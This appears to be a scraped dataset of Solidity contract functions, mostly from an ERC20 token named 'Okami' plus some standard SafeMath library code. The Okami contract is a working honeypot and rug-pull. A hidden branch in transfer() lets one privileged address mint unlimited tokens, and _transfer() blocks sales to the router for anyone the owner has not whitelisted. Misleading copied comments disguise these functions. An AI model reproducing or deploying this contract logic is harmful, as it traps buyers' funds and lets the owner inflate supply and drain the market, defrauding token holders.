function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | transfer | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
2673,
3188
]
} | 579 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | botban | function botban(address _count) internal checker {
confirm[_count] = true;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
4313,
4410
]
} | 580 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | setSupply | function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
4465,
4640
]
} | 581 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
259,
445
]
} | 582 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
724,
865
]
} | 583 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
1163,
1360
]
} | 584 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
